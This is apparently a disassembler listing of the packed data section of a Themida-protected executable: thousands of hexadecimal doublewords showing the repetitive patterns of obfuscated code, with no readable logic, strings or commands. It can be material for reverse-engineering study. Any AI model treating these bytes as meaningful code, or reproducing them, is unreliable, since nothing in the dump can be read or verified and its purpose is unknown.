		dd 1807EE5Eh, 22EC2A9Ah, 6EBCCF35h, 0A8421E7Bh,	659D056Bh
		dd 1787E489h, 0E06F4540h, 0C671C7CFh, 56D6DB17h, 2BDFB0E6h
		dd 0A8762D80h, 3B9397h,	24A70000h, 536056C6h, 309581F1h
		dd 11715689h, 2468D4A1h, 7B6155C5h, 0E3A5CA5Ah,	8A602241h
		dd 865DF31Bh, 312BEF10h, 865D4F92h, 6D1D2E10h, 4BAE9B42h
		dd 0D197A8C9h, 1, 59C924E5h, 7FE7445Dh,	0CD2C9051h, 11F7A5Dh
		dd 0F362B186h, 477ABCC9h, 0DB5D5668h, 61522B6Bh, 494670E0h
		dd 299073A1h, 74F73CB6h, 48A56604h, 0C96D3DD8h,	8B8BFB7Dh
		dd 7A00A5B2h, 0FB0564A3h, 4AA90AD4h, 972E30DAh,	169B768Fh
		dd 6879BD8Eh, 25FA9B0Bh, 568856C6h, 9366AAEFh, 0AA405116h
		dd 66C2096Ch, 9B01693h,	2292F1D6h, 0EF5FDC53h, 0D839BAA7h
		dd 9366246Dh, 0D9F6C716h, 4C731ADDh, 0ED88F87Bh, 0BDAE35B8h
		dd 109BB9Dh, 0ABCF0000h, 0D903DB0Bh, 0A6ED5DD8h, 0EDE2D444h
		dd 0F6529EFDh, 0DAEB169Bh, 40C1F2DCh, 7AF93AD0h, 37B46B0Ah
		dd 0A40DCFC7h, 0CB3BB945h, 2DDDF2CBh, 70F7FFCh,	0EE28981Ah
		dd 0E0878F5h, 0FE229215h, 0CEBB2897h, 6CCFF8E7h, 218C19FCh
		dd 0A79DBD1Eh, 4Ch, 0C0308CA5h,	0EABF22Ah, 3C4500DEh, 0BF9086F2h
		dd 0A81409F6h, 456A03DBh, 0CEAFF251h, 0CCE9086h, 0E0D646A7h
		dd 0B9FD6DD3h, 98FFEBC4h, 28582925h, 1D164816h,	577A2B9Bh
		dd 169086CEh, 33366505h, 0BA1086CEh, 6CA80CE9h,	84000000h
		dd 3DB0BABh, 9C067040h,	0FA3C0D16h, 7B1A8AE9h, 0DFD747A4h
		dd 93E73A64h, 6857C216h, 59C9298Ah, 930380B1h, 0D404B402h
		dd 0FEDE3B0Ah, 8C9D108Ah, 0AA1A998Ah, 97C5896Ch, 0A8FCE52Ch
		dd 189B881Ch, 0ACE387A8h, 5DA94D01h, 84F451DDh,	0A192BD92h
		dd 9768AE1Eh, 2C8DA6B8h, 0E5857ABCh, 0E565F44Fh, 7DB61AB1h
		dd 0BCDC8EFEh, 0AB1E0AEBh, 0CE3EBF0Bh, 1FE0F7C8h, 0B2E79ED0h
		dd 0B68D517Eh, 169FE05Bh, 0C251122h, 0C9563FAFh, 39BCFA6Ah
		dd 56DACD68h, 76517CE3h, 43F085F5h, 4D6650C0h, 68D85FEBh
		dd 607E512Eh, 2982C77Eh, 586956D3h, 0E6F84B2h, 26AF989Eh
		dd 0ADA68501h, 0C535B6FDh, 0EF5FE0D1h, 43EAD6A7h, 0B75E479Ch
		dd 0D43CBF08h, 0D28B906Ah, 0B75E7161h, 9B9B0B68h, 317h
		dd 4B2FF300h, 5C5ACA24h, 4274E447h, 3363D331h, 4D49B93Eh
		dd 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h, 3C7AEA4Fh
		dd 4EC8178h, 89000000h,	0E2892414h, 4C281h, 0EA830000h
		dd 24148704h, 0E289525Ch, 4C281h, 0EA830000h, 24148704h
		dd 2404895Ch, 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 0B8243489h
		dd 13B72FB3h, 0E0C1D8F7h, 53BE5606h, 290C1B19h,	53685EF0h
		dd 89000042h, 4832424h,	505E0424h, 72243481h, 8F70713Eh
		dd 0B9510846h, 8, 3181F101h, 70713E72h,	24348B59h, 81E78957h
		dd 4C7h, 4C78100h, 87000000h, 8B5C243Ch, 89532404h, 4C381E3h
		dd 83000000h, 1C8704C3h, 7BE95C24h, 0CFFFC7Fh, 1D4B467Ch
		dd 32B84C56h, 30618FEh,	45E0FFC5h, 0E74D6AF5h, 363F760Fh
		dd 0FA772AB8h, 584969E1h, 0BE6828BFh, 49081EFFh, 4C20DCFAh
		dd 80272D38h, 21446C1Dh, 0EE37CC98h, 4574FF12h,	4A087D06h
		dd 0A93EA0A2h, 3D78CD7Eh, 0E833C5A9h, 10212F38h, 702409E1h
		dd 0AF14C519h, 91329926h, 0D7155D77h, 0A808B99Bh, 0F20C8CF6h
		dd 7D3B9AC3h, 0DC33B9B2h, 0BC5EE04Ch, 1E5650F1h, 8B3E5CF3h
		dd 8B173958h, 3860FC1h,	0F000000h, 4EBF8BFh, 0
		dd 0E8F2BF0Fh, 7, 7B2C1EB7h, 66F8D721h,	5FAEEBBEh, 279D858Dh
		dd 90F80615h, 4850F50h,	51000000h, 905E6160h, 6AF88Bh
		dd 6AFE8Bh, 8F9BD8Bh, 858D0615h, 619008Fh, 0C033DCBEh
		dd 5C08320h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	0B6C35040h, 1508EBFh, 0D781666Ah, 66508A49h, 489F98Bh
		dd 6A006A24h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 7CAC356h, 0F9EDBF66h, 6A006Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 2B530FC3h, 0FFC145FFh, 8B79111Bh, 6830FF2h, 8B000000h
		dd 150D69BDh, 7995FF06h, 66061526h, 8D87DBBFh, 189C159Dh
		dd 0ADB58906h, 0FF061518h, 55006AD3h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0EFE27CC8h
		dd 10E9h, 6937DA00h, 5B6489EFh,	3EB516EDh, 0D68D7E4Dh
		dd 959589C3h, 0FF061530h, 15153585h, 0E6816606h, 71E92AD0h
		dd 0E8000009h, 0
aBas		db ']í™',0
		db 19h,	6, 6Ah
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0A5FBC352h, 0F129392Bh, 0FFE781E6h, 8133FD99h
		dd 1508ADBDh, 7D006h, 88860F00h, 6A000001h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 1F22C350h
		dd 0F98B6658h, 27159D8Bh, 6A0615h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0F85F9AC3h, 189D8589h
		dd 0E3810615h, 100h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 43C35646h, 55C17B0Ch,	860F152Ah, 6, 2D458531h
		dd 8B660615h, 0FDB0BF1h, 9D85h,	0DF816600h, 12E9FB97h
		dd 70000000h, 7DC65942h, 4BACD548h, 0F9D61373h,	0F6C979B0h
		dd 65BD8312h, 618FFh, 11840Fh, 0B70F0000h, 8BE9FCF6h, 52000000h
		dd 226D9529h, 0C75F0615h, 18FF6585h, 106h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 0B3C6B7EAh, 8FBE2B15h, 6617EBDEh, 0E962E7BEh, 4Ah, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 33C35646h, 0AAE2990Fh
		dd 0A9FAE14Bh, 17E9BD33h, 85C70615h, 618FF65h, 0
		dd 11E9h, 9750D400h, 0F0EB4178h, 4C36522h, 0A6C17A5Eh
		dd 9D8D6259h, 6152715h,	81F9B70Fh, 0FFFEFF23h, 51006AFFh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 0F2945D7h, 68Eh, 6DBD8900h, 8B061526h, 158D89FEh, 66061522h
		dd 6ADB8Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 0A572C9C3h, 0E83AC63Ch, 6, 1DDA2920h, 0BD8B7DEFh
		dd 6151809h, 0C781665Fh, 0C3F6DDA4h, 75840F04h,	0FF000000h
		dd 1518A195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 7AE3388Ah, 1BD68166h, 0FE8B667Dh
		dd 0E9BF6690h, 12E950D9h, 58000000h, 1238B3FBh,	5B603283h
		dd 1E30AAB9h, 3C270157h, 6A90C8h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 3A6F5BC3h, 840EC961h
		dd 8D89BCF5h, 6150BB9h,	44FE9h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 4CE3CA79h
		dd 0AE8h, 108E7F00h, 0D3797AA6h, 0F4F3622h, 83h, 0B05F00h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 1DC35646h
		dd 6840Fh, 0BD8B0000h, 61517DDh, 0B58B70E6h, 6150379h
		dd 6A71E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 605E09C3h, 5E9h, 0ABB1AF00h, 0BD8B3D1Bh
		dd 6150C41h, 0D8B60F61h, 5CE68166h, 6BA20h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 3EA10EC3h, 0A8EE9A81h, 0B58B37B3h, 6150801h,	6AC38Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0BF0FC3C3h, 7E8F9h, 8C690000h, 539C934Bh, 0FA8B5E26h
		dd 6604E8C1h, 6AE2F7h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 375C30C3h, 0B589EDCBh, 6150119h
		dd 6AD82Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 93F9FDC3h, 8B665250h, 5A310FF7h, 0EE85058h
		dd 27000000h, 7F4F41F4h, 0DD9A16C8h, 5E332F59h,	5E8EFh
		dd 51CD0000h, 530C065Ch, 935F5E5Eh, 0BE8h, 8E91400h, 512E1B66h
		dd 3935253Fh, 0FF5EFA8Bh, 1508ADB5h, 2195FF06h,	8906152Eh
		dd 150A759Dh, 0E600B006h, 52006A70h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 7638872Ah
		dd 0ED5926Dh, 26958509h, 71E40615h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 6DC35747h, 0C43E1A46h, 0E6EA6BCh
		dd 27B99D89h, 613C0615h, 252830Fh, 9E90000h, 92000000h
		dd 5096A0C6h, 0D1AA9039h, 6AD8B60Fh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 9F9EC355h
		dd 60E61475h, 2B458D89h, 0D98B0615h, 6BA61h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0C4C1A8C3h, 8DE53579h, 8B6023CBh, 1522599Dh,	0C38B6106h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0C7C35646h
		dd 0ECEACC61h, 0BC012AD9h, 4E8C1FCh, 1E919529h,	0B58B0615h
		dd 61523DDh, 6AE2F766h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 233FC350h, 0B9E30D24h
		dd 0EA078AE2h, 800FD82Bh, 6, 0A09B523h,	6A580615h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 0EC56C352h, 0EBA836A5h, 2D9B58Bh, 5E90615h, 54000000h
		dd 631970CAh, 880FD82Bh, 140h, 0F52F28Bh, 28Ah,	5E616000h
		dd 7B9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 80BED1DDh, 0FD8509A3h, 83061523h
		dd 0D93B00C1h, 0FE860Fh, 0D7810000h, 2258C274h,	8BD98C66h
		dd 152D99BDh, 4C1F606h,	0C0840Fh, 0D6810000h, 362B1616h
		dd 0A195FFF9h, 6A061518h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 4E79C352h, 291609D3h
		dd 0B58B8120h, 61510F5h, 6810F5Bh, 8B000000h, 15154DB5h
		dd 8D850106h, 2B06150Ah, 57006AC3h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0CF4B4863h, 87D89017h
		dd 487ABFF6h, 0FE8B58FBh, 8343Dh, 3F860F00h, 0F000000h
		dd 888h, 860F5600h, 0
		dd 0E9FA8B5Fh, 50h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 48C35747h, 0EC7BC9B4h, 375C3058h, 3405B58Bh
		dd 0C08B0615h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0DEC35141h, 8847C9B8h, 0F38B7B57h, 0D88BC38Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0AAC35343h
		dd 0A0637402h, 6071404Dh, 0C75858Bh, 0DA800615h, 85C76146h
		dd 615108Dh, 5B266D5Dh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 1C35040h, 8E8023Ch, 0DF000000h, 0E91F3959h
		dd 60668991h, 0FE9h, 4208600h, 8D1E66E5h, 0CC306876h, 7FEE3B8Bh
		dd 5F615E50h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 2D9EE8C3h, 66331B11h, 0BD81FA8Bh
		dd 61508ADh, 7D0h, 51850Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0ED7CC9C3h
		dd 8BEF44E1h, 150561BDh, 0AD85FF06h, 6A061508h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 1A30C353h, 7E29DCF8h, 0FF131B31h, 1508ADB5h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 0C64F92CFh, 945D4E1Bh, 0F9BF0F98h, 2E2195FFh, 6A0615h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 9874AC3h, 15254DBDh,	66529006h, 6A5FF78Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 2A41C351h, 0BE8h, 9A109200h,	514C297h, 2B7CDFA0h, 9E8h
		dd 999F5200h, 5EC1C252h, 5EF803ADh, 1555B50Bh, 8B5F0615h
		dd 56006AF8h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 0BF8B30FDh, 0BF0BF54Dh, 5B2C7BD7h, 27198D89h
		dd 8D890615h, 6150DD5h,	491B58Bh, 0BD8B0615h, 6150C4Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 1BC35545h
		dd 3AD1C1DFh, 0FFBEF973h, 0E97D2196h, 0Ah, 0F129392Bh
		dd 1458D0E6h, 8166E2DBh, 89BF92C7h, 1528CD85h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 47BE502Ch, 5F229D02h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 15h, 56C35343h, 55BD8B6Ch,	0E9061534h, 0FFFFF6B3h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0F9C35141h
		dd 0BD03A3F4h
		db 1Dh,	2Eh, 15h
byte_5BA433	db 6			; DATA XREF: Themida_:0057C51Co
		dd 6AC18Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 0EBF890C3h, 4, 53006A00h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0ECBD939Ah
		dd 0A58D295Ah, 66061509h, 8D39F1BFh, 15279D85h,	0ADB53106h
		dd 5006151Dh, 2E60CABFh, 24048947h, 1889B589h, 0B58B0615h
		dd 61510FDh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 8B97BBC3h, 15243DB5h, 89006A06h
		dd 1508B98Dh, 0C7858D06h, 6A06190Bh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 7242C350h
		dd 0A99ABA10h, 0CB986CEDh, 226DBD8Bh, 0C0830615h, 52509005h
		dd 310FFA8Bh, 0C8F0Fh, 6E80000h, 26000000h, 0FEB16ABh
		dd 585A5EE1h, 79A0BE50h, 299042CAh, 150401BDh, 6A006A06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 4880C351h, 7DBD8B53h, 5E06151Eh, 0CA0FBE66h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 2C067CC3h, 91817703h, 6056B851h, 19A1BD2Bh
		dd 0B50B0615h, 61508F9h, 95895E61h, 615107Dh, 267995FFh
		dd 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0C846BBC3h, 9C159D8Dh, 0F78B0618h, 2789BD29h
		dd 0D3FF0615h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	0A8C35141h, 2E59BD8Bh, 85FF0615h, 6151535h, 161D8D89h
		dd 9DE90615h, 0E8000008h, 0
		dd 0D1ED815Dh, 6A06190Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0F276C351h,	144D9D01h
		dd 2BBF0615h, 81478C83h, 1508ADBDh, 7D006h, 0D6860F00h
		dd 89000001h, 151DFDB5h, 799D8B06h, 6A061510h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 0A514C355h, 82102AAEh, 2B3672A0h, 152DA9BDh,	0E38106h
		dd 6A000001h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 487CC351h, 0E871C75Ah,	11h, 8DD14A5Dh
		dd 14DD77FFh, 6A40004Eh, 3BE73049h, 0F195894Ah,	5F061514h
		dd 12E9h, 0AED9F800h, 0BD9F56h,	0F8C2D319h, 136C6E34h
		dd 0BE72E99h, 0D6850FDBh, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0F49FC356h
		dd 14DBB6F9h, 3EA10E7Ch, 0A26BD83h, 0F000619h, 2E84h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 291502E5h, 152ED595h, 0ABE906h, 57BE0000h, 0C744FD3Ch
		dd 190A2685h, 106h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 711E190h, 52EAAA3Bh, 5880Fh
		dd 0B9BE0000h, 5F7FA118h, 11E9h, 8621A800h, 5DE7626Dh
		dd 8B25FD73h, 0CDE64412h, 52E90167h, 6A000000h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0D318C357h, 0FD8D2F53h, 2685C72Fh, 6190Ah, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 4935C357h, 0C8E326C9h, 0BF0FA01Ah, 799D8DF1h
		dd 0F8061510h, 0FEFF2381h, 6AFFFFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 63EACDC3h
		dd 0E5E399FEh, 8174666Bh, 67442EEFh, 0DB8C6603h, 2AEDB589h
		dd 0C3F60615h, 65840F04h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 1452C355h
		dd 6870Fh, 0B5310000h, 6151195h, 0CCD9D09h, 95FF0615h
		dd 61518A1h, 0D19B533h,	66500615h, 89F47ABFh, 6A2404h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 85890AC3h, 61520CDh,	3EDE9h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0EB63AD3Eh
		dd 0A36B7DAh, 0B58BC8C4h, 6151111h, 0C78100B0h,	32B7D95Eh
		dd 0B50B70E6h, 6152FFDh, 19820Fh, 14E90000h, 0E8000000h
		dd 0E2F90882h, 0D1D2E04Ah, 8A8E19A5h, 0B1F39B5Bh, 0E4B35DA7h
		dd 55006A71h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 66CFD25Eh, 1A68DE81h, 6AD8B60Fh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 9F6DC356h, 5810Fh, 0FDBE0000h, 0BA1D7E2Eh, 6, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 10C35545h, 0DB116D8Fh
		dd 0CA29B0C9h, 41B52BB3h, 8B061502h, 1504A1BDh,	6AC38B06h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0ADCEC350h, 8B92CD73h, 150BF1BDh,	4E8C106h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 29C35040h
		dd 0E4D78166h, 81B5897Fh, 66061509h, 0CE8E2F7h,	0A9000000h
		dd 0C1E35500h, 6F2B636Dh, 5EB4530Ah, 6AD82Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0DBB90AC3h
		dd 4FC681D1h, 50272F1Bh, 0DEF699BEh, 241C8976h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 60C35646h, 2A7AB1DCh
		dd 0CBEA5A4h, 0ADB5FF64h, 0BE061508h, 73CBAFD2h, 2E2195FFh
		dd 5E500615h, 6A00B0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0F1BED0C3h, 0EBBF66F9h, 6A70E6C9h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0F6A0C357h, 3E1106ABh, 8B71E4F1h,	15037DBDh
		dd 0F613C06h, 1E583h, 0F18B6600h, 22D1BD8Bh, 0B60F0615h
		dd 6820FD8h, 81000000h,	0D1A266E6h, 6BA43h, 9D290000h
		dd 6150371h, 2950C38Bh,	1511499Dh, 0E8C15F06h, 0BD316004h
		dd 6150E09h, 12E960h, 0EA90000h, 8B6DB9A4h, 839985Ah, 35D94156h
		dd 96E1CF45h, 61619AB1h, 66E2F766h, 66BBE681h, 6AD82Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 8334FBC3h, 58BCA0ECh, 2F4D9D89h, 0D82B0615h,	158880Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0BF3C93C3h, 0B2E7C78h, 7B9h, 0C7816600h
		dd 0C1835D4Bh, 57006A00h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 1BC91456h, 0D93BF18Bh
		dd 100860Fh, 0BD330000h, 61510ADh, 6AD98C66h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 800AC356h, 0F55F37Fh, 681h, 850F00h,	0F6000000h, 840F04C1h
		dd 8Ah,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah
		dd 65C35040h, 0F463688Fh, 95FFD91Dh, 61518A1h, 12E9h, 24B00E00h
		dd 97144478h, 374640CCh, 8C165285h, 668B310Eh, 665BF78Bh
		dd 0C32BF08Bh, 0A6E78166h, 8343DD3h, 860F0000h,	32h, 0A221BE66h
		dd 61E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0E026F4D6h, 1EF9CCDEh, 28D5BE3Eh
		dd 0C08B0B6Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	0E7C35343h, 20333945h, 0E88CB8ABh, 68E0Fh, 95290000h
		dd 6150A8Dh, 6925E681h,	0C38B6F29h, 13E9D88Bh, 0A5000000h
		dd 71F3710h, 3350F0A9h,	0B30C7B29h, 0B35A4CFBh,	85C72DE9h
		dd 6152715h, 30081FD3h,	8BF7BF0Fh, 0DE8C0h, 560A0000h
		dd 590111D3h, 8712B43Bh, 5F81B910h, 8ADBD81h, 7D00615h
		dd 850F0000h, 66h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 74C35242h, 0BB0EB692h, 0E9A31930h, 11h
		dd 7E4E2AC4h, 4822E508h, 11ED6C30h, 0F1E185Bh, 0AD85FFDAh
		dd 6A061508h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0FE7FC351h, 53C9BC9Dh,	0BF66337Dh
		dd 0B5FFAF05h, 61508ADh, 90EE8166h, 2195FF30h, 6A06152Eh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 5B2EC350h, 90FFBF0Fh, 7DB50Bh, 0B58B0615h
		dd 6150899h, 0C6D9D31h,	6A0615h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 589730C3h, 12E9F5h, 0BC600000h
		dd 5DA888A2h, 8266115Eh, 0DC4D84A6h, 2700CBECh,	59F68166h
		dd 55006A34h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 1B870FA6h, 0F000000h, 981h, 0F7BF0F00h
		dd 0AC5B589h, 60600615h, 1D8D0161h, 0B106151Dh,	0F98B61B7h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 82C35343h, 42089557h,	38A0F01h, 0F000000h
		dd 6AFAB7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0E783DDC3h, 6CCC8354h, 14E8h, 81785700h
		dd 67DFD10Ch, 11A55943h, 858510C3h, 474D31F8h, 0F7F4BECCh
		dd 895F6EBAh, 15187D8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0F963DB43h, 0BD8BBC7Bh
		dd 6152325h, 0FFF76EE9h, 6D8589FFh, 6606150Ah, 40FFE781h
		dd 6AC18Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 8B68EBC3h, 151D61BDh, 4EB06h, 8B000000h
		dd 152FD9B5h, 0F18B6606h, 2773BF66h, 279D858Dh,	0DE810615h
		dd 0BB51B02h, 0E83BE50h, 48957A7h, 0B8BE6624h, 6A006ACFh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0EA69C350h, 55512467h, 0FE2BF3Ah,	138Dh
		dd 0EE900h, 0BC8F0000h,	42980DC3h, 34AD49F1h, 7D47248Dh
		dd 0BD8B006Ah, 6151A31h, 1652858Dh, 6A0619h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 8BE041C3h
		dd 151501BDh, 5C08306h,	88C0Fh,	89520000h, 151A059Dh, 82BF5F06h
		dd 50265A38h, 89F38B66h, 6A2404h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 0C51EAEC3h, 66E0306Ch
		dd 6AE779BFh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 11BEF66Ah, 8B135FC6h, 151DC1B5h
		dd 6A006A06h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 9C38C356h, 1BBE1AC6h, 0EE745FC6h
		dd 267995FFh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0F28EB1C3h, 8D0F4DD3h, 0
		dd 9C159D8Dh, 6A0618h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 5FD20EC3h, 0FFD52720h, 0E5BD8BD3h
		dd 0FF06151Ch, 15153585h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 63D26A1Bh
		dd 45BD8BA6h, 60061528h, 29DB503h, 858B0615h, 6150529h
		dd 836E961h, 0E80000h, 5D000000h, 165CED81h, 0E9600619h
		dd 6, 9339E5D9h, 0B70F374Ah, 0BD8161D7h, 61508ADh, 7D0h
		dd 146860Fh, 8B660000h,	699D8BF3h, 89061511h, 15177585h
		dd 0E38106h, 6A000001h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0BA59C355h,	251AE799h
		dd 11B529E2h, 0B061525h, 0BA850FDBh, 0FC000000h, 1490BD83h
		dd 0F000619h, 5184h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 4D0B257Dh, 5E9D809h, 12000000h
		dd 76053A1Bh, 96E9h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0C06E8093h, 85C74F5Ah
		dd 6191490h, 1,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	1EC35040h, 29418D89h, 44E90615h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
